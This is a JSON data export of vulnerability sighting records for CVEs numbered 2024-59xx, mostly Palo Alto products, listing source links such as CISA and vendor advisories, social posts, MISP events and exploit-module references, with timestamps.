{"vulnerability": "2024-59", "sightings": [{"uuid": "8bc2b733-9dab-4a81-85f2-714e17f3c30c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-298-03", "content": "", "creation_timestamp": "2024-10-24T12:00:00.000000Z"}, {"uuid": "fa5e3aa3-57a4-4ccb-9edf-fab280e61c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://thehackernews.com/2024/11/cisa-alerts-to-active-exploitation-of.html", "content": "", "creation_timestamp": "2024-11-08T05:17:00.000000Z"}, {"uuid": "79cc6411-208f-4ee9-9e61-cfbbce30f59c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-5910", "type": "exploited", "source": "", "content": "", "creation_timestamp": "2024-11-07T20:16:32.104587Z"}, {"uuid": "a23a2d9e-da51-4ae9-9816-e9b93517c277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2024-5910", "content": "", "creation_timestamp": "2024-11-07T22:25:00.000000Z"}, {"uuid": "c3fe4820-8d85-4401-939c-1b49e65c5123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5915", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2024-5915", "content": "", "creation_timestamp": "2024-11-06T02:35:00.000000Z"}, {"uuid": "f07f895c-2e26-45cb-bd2a-e1a5dad0a785", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5908", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2024-5908", "content": "", "creation_timestamp": "2024-08-14T16:00:00.000000Z"}, {"uuid": "82d8b482-234c-44e4-af08-22254bf68f84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113442403763317792", "content": "", "creation_timestamp": "2024-11-07T15:35:10.432154Z"}, {"uuid": "0176a53f-4e36-425e-b616-d6eca32573b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/113442673510281546", "content": "", "creation_timestamp": "2024-11-07T16:43:47.514644Z"}, {"uuid": "97527a67-86ba-4eec-ada8-5507700b8b07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5914", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2024-5914", "content": "", "creation_timestamp": "2024-08-14T16:00:00.000000Z"}, {"uuid": "597e1975-e867-4832-a646-b34c4c28d9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2623045", "content": "", "creation_timestamp": "2024-11-07T18:26:12.774733Z"}, {"uuid": "2bc03b30-959e-4749-ad95-a8abf47afdd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5916", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2024-5916", "content": "", "creation_timestamp": "2024-08-14T16:00:00.000000Z"}, {"uuid": "a8924efb-cc50-48a7-80da-ed9a4fff6ee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://infosec.exchange/users/patchnow24x7/statuses/113445137999456682", "content": "", "creation_timestamp": "2024-11-08T03:10:31.337611Z"}, {"uuid": "c2a6d088-793a-4fe7-89fa-e1fbafb5b707", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-5910", "type": "seen", "source": "https://social.skynetcloud.site/users/jos1264/statuses/113447298873185006", "content": "", "creation_timestamp": "2024-11-08T12:20:11.040340Z"}, {"uuid": "6f448a6d-83d4-416b-9993-7f5e8f252704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-5910", "type": "seen", "source": "https://social.skynetcloud.site/users/jos1264/statuses/113447298943606421", "content": "", "creation_timestamp": "2024-11-08T12:20:14.985215Z"}, {"uuid": "18c490c1-d4d6-4a03-b603-21693fb42234", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/113447437619338174", "content": "", "creation_timestamp": "2024-11-08T12:55:20.668515Z"}, {"uuid": "d5e60917-b8e7-4163-bbb4-0af09cb16b1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-5910", "type": "seen", "source": "https://social.skynetcloud.site/users/jos1264/statuses/113448321255399528", "content": "", "creation_timestamp": "2024-11-08T16:40:25.542987Z"}, {"uuid": "c1cec65b-e4d7-4b84-b1b2-db8147f9668b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://social.skynetcloud.site/users/jos1264/statuses/113450365884278213", "content": "", "creation_timestamp": "2024-11-09T01:20:04.635063Z"}, {"uuid": "f291cc0b-3346-42be-a9c5-f10ee151f608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-11-07T18:10:03.000000Z"}, {"uuid": "d4c9ab14-664a-4335-80d4-6c399e9e356b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5920", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113477099455726632", "content": "", "creation_timestamp": "2024-11-13T18:38:44.836352Z"}, {"uuid": "790523e6-b60f-4374-9820-7273ed346517", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5917", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113477099455726632", "content": "", "creation_timestamp": "2024-11-13T18:38:44.939358Z"}, {"uuid": "3feab866-2509-4cae-8005-128c755d792d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5918", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113477099455726632", "content": "", "creation_timestamp": "2024-11-13T18:38:44.962989Z"}, {"uuid": "93ab93a1-8e55-4592-a30f-656e1268b93a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5919", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113477099455726632", "content": "", "creation_timestamp": "2024-11-13T18:38:44.984679Z"}, {"uuid": "dbd023bb-e3f5-4e05-a1d4-70fb358e5167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5920", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2024-5920", "content": "", "creation_timestamp": "2024-11-13T17:00:00.000000Z"}, {"uuid": "bb917b3f-c679-432f-af61-3a921116c673", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5917", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2024-5917", "content": "", "creation_timestamp": "2024-11-13T17:00:00.000000Z"}, {"uuid": "a894e4e3-1a93-4590-ad5e-184c81b2f6f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5918", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2024-5918", "content": "", "creation_timestamp": "2024-11-13T17:00:00.000000Z"}, {"uuid": "a25a8251-5816-40e4-9323-0a4465a2d0f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5919", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2024-5919", "content": "", "creation_timestamp": "2024-11-13T17:00:00.000000Z"}, {"uuid": "7bd41d74-699f-4aaf-bfc4-7e6636a38382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5917", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113480658573224731", "content": "", "creation_timestamp": "2024-11-14T09:43:52.512078Z"}, {"uuid": "788ea946-8fc6-4ea5-bcaf-f96af455693e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5918", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113480717575878991", "content": "", "creation_timestamp": "2024-11-14T09:58:52.756668Z"}, {"uuid": "0ebcc342-0973-4314-a0b4-71da95cfa018", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5919", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113480717590358193", "content": "", "creation_timestamp": "2024-11-14T09:58:53.118739Z"}, {"uuid": "3eb3bbfe-779a-4469-9254-a714bca65cfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5920", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113480717605181012", "content": "", "creation_timestamp": "2024-11-14T09:58:53.309239Z"}, {"uuid": "64e09619-4509-435a-97db-03f9658030f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-5921", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113552894037398197", "content": "", "creation_timestamp": "2024-11-27T03:54:18.181149Z"}, {"uuid": "9c0ee7fc-db87-4a7c-96e8-a3b65b9fe404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2024-5921", "content": "", "creation_timestamp": "2024-11-26T01:45:00.000000Z"}, {"uuid": "2bb435d1-0c40-402a-8b87-26ba5bbefc0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113550512414422587", "content": "", "creation_timestamp": "2024-11-26T17:48:37.775646Z"}, {"uuid": "418a34a0-8c17-4955-8d81-5c645b7ff493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-5921", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/113556201377625906", "content": "", "creation_timestamp": "2024-11-27T17:55:23.843996Z"}, {"uuid": "54e80bf0-242b-4610-b699-862f5de90f16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113550557957776017", "content": "", "creation_timestamp": "2024-11-26T18:00:12.425079Z"}, {"uuid": "0f91a2fc-31e2-40bd-aa0b-5ce8b289235e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/113548402528419676", "content": "", "creation_timestamp": "2024-11-26T08:52:04.238881Z"}, {"uuid": "7b4389e3-a2f1-47e7-8bcc-fd26f89a30dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://packetstormsecurity.com/files/182665/paloalto_expedition_rce.rb.txt", "content": "", "creation_timestamp": "2024-11-13T14:55:01.000000Z"}, {"uuid": "5674282d-98f7-4b2c-8542-5bf3391b2a17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://social.circl.lu/users/circl/statuses/113554540534685740", "content": "", "creation_timestamp": "2024-11-27T10:53:02.033990Z"}, {"uuid": "876fad64-d3b3-4003-a18a-701c5761518c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113547398128287677", "content": "", "creation_timestamp": "2024-11-26T04:36:37.902872Z"}, {"uuid": "6d678fbc-3065-4c74-a136-ec2965bdb7df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5955", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldpqdw7r2u2s", "content": "", "creation_timestamp": "2024-12-20T06:15:46.023758Z"}, {"uuid": "21f328dc-ceec-45cf-a621-f86ab48748bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5955", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113683606875514578", "content": "", "creation_timestamp": "2024-12-20T05:56:17.644250Z"}, {"uuid": "45ea0306-1635-43da-ad7c-711bee0dd1a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3le3kjafzma24", "content": "", "creation_timestamp": "2024-12-24T23:03:19.055740Z"}, {"uuid": "bb793972-df41-4896-a282-6656871ace4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5924", "type": "seen", "source": "https://www.thezdi.com/blog/2025/1/8/zdi-threat-hunting-2024-highlights-trends-amp-challenges", "content": "", "creation_timestamp": "2025-01-08T16:07:59.000000Z"}, {"uuid": "a483b709-c18c-444f-ac32-070d9956842e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3lfxic7qzfr27", "content": "", "creation_timestamp": "2025-01-17T19:03:20.227049Z"}, {"uuid": "72e0819d-dbcc-4aeb-ab0a-d70b41750e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5917", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3lgehzyb5oe2m", "content": "", "creation_timestamp": "2025-01-22T23:03:20.622214Z"}, {"uuid": "875d5968-5c14-452b-a42b-721c6f1f99e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "c54a4d8e-51de-463a-984d-440cbb2cfef6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "92c8032e-b67a-4f0a-8f25-ae4884b6444b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3lhhb5rlzoi2y", "content": "", "creation_timestamp": "2025-02-05T19:03:22.533066Z"}, {"uuid": "26e0f959-7f5a-4c4d-aa9b-31943d21259a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:05.000000Z"}, {"uuid": "59519df6-fd8e-49d7-8db7-ea5fee0f99a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:05.000000Z"}, {"uuid": "1b632aa9-09d7-4edb-9989-4393a56fab0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3lkrc5ikvhv2s", "content": "", "creation_timestamp": "2025-03-19T23:03:19.014644Z"}, {"uuid": "a67bca21-70cc-41ad-bfa7-26047ba24057", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://gist.github.com/jaredfolkins/600cb7daa0be7c977443205c2d073615", "content": "", "creation_timestamp": "2025-02-28T20:06:20.000000Z"}, {"uuid": "4298ec70-1fca-4ec1-aadd-1e4c0d9a5be1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llf73zvzj52p", "content": "", "creation_timestamp": "2025-03-27T21:02:07.333310Z"}, {"uuid": "8c48d79d-6211-4a47-80c5-905d708778b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3ljq6ogneye2w", "content": "", "creation_timestamp": "2025-03-06T19:03:21.081435Z"}, {"uuid": "52a7015c-031b-430a-9d93-3f7c12f15d8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3linfknoj662m", "content": "", "creation_timestamp": "2025-02-20T23:03:19.626557Z"}, {"uuid": "e3738776-1223-43e5-a59b-ff5bab71f73b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:01.000000Z"}, {"uuid": "4f1698d6-cd01-4350-8efd-a00c3b19a0ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3lmzsazvevq2y", "content": "", "creation_timestamp": "2025-04-17T19:03:18.662930Z"}, {"uuid": "46e9a585-be89-4d44-a5a3-713335c1bd70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5962", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lpsawoczke2m", "content": "", "creation_timestamp": "2025-05-22T23:20:14.224476Z"}, {"uuid": "6f761f05-368a-4cc0-b2d4-4664b26facb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5920", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3lo2iczdsui2w", "content": "", "creation_timestamp": "2025-04-30T19:03:19.546593Z"}, {"uuid": "13cbfe78-768a-455b-a3bc-7b610fa421f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5916", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3lo2id54bbl2y", "content": "", "creation_timestamp": "2025-04-30T19:03:23.822253Z"}, {"uuid": "7ccd0e20-d1e1-4e5b-953c-a31a5071780b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3lo7javli2r2p", "content": "", "creation_timestamp": "2025-05-02T19:03:20.709542Z"}, {"uuid": "2b2eb85c-66dd-4885-be40-695b6375d391", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:04.000000Z"}, {"uuid": "2f6da5e6-b7f1-4512-8043-0a388da403f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:04.000000Z"}, {"uuid": "ef3cdf1e-a9f9-4b67-9337-f5550161daf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "MISP/4937e86f-f5bd-4d09-8bda-88a7440077f3", "content": "", "creation_timestamp": "2025-08-18T13:31:23.000000Z"}, {"uuid": "ca4b9737-5637-48ed-97f1-ee940480adab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "MISP/4937e86f-f5bd-4d09-8bda-88a7440077f3", "content": "", "creation_timestamp": "2025-08-19T02:47:45.000000Z"}, {"uuid": "31742d3f-63df-4edf-8f0c-c3d55b226bd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-59373", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115610951630509357", "content": "", "creation_timestamp": "2025-11-25T15:05:24.957408Z"}, {"uuid": "92f99b3c-cf07-4baf-b3a8-ae4f6e1c24ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/paloalto_expedition_rce.rb", "content": "", "creation_timestamp": "2024-11-12T23:19:17.000000Z"}, {"uuid": "4b091db4-2e8c-4b65-af7d-243eb7ab7073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_givewp_rce.rb", "content": "", "creation_timestamp": "2024-08-28T20:39:04.000000Z"}, {"uuid": "06d02eb0-99d7-431b-8249-258693b25bda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1331", "content": "", "creation_timestamp": "2024-07-12T04:00:00.000000Z"}, {"uuid": "a62948ad-38ce-4b49-85c5-c5da6172694f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-5911", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1331", "content": "", "creation_timestamp": "2024-07-12T04:00:00.000000Z"}, {"uuid": "36749395-afc0-42d8-9106-7b7eae68cb04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-5913", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1331", "content": "", "creation_timestamp": "2024-07-12T04:00:00.000000Z"}, {"uuid": "63e85b51-7b6a-4e5e-a8fb-8e4cd2cc4b94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-5912", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1331", "content": "", "creation_timestamp": "2024-07-12T04:00:00.000000Z"}, {"uuid": "34dc230f-eec2-40ae-a211-2821b55e1ecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-5921", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/97da5012-2204-4022-9d84-091ea22d3e0d", "content": "", "creation_timestamp": "2024-11-27T10:49:57.830562Z"}, {"uuid": "8b7aa939-3a63-4823-ac0c-bb1afd09a251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-5920", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1423", "content": "", "creation_timestamp": "2024-11-18T04:00:00.000000Z"}, {"uuid": "55df2976-d51a-460e-9011-482a06de4daa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-5918", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1423", "content": "", "creation_timestamp": "2024-11-18T04:00:00.000000Z"}, {"uuid": 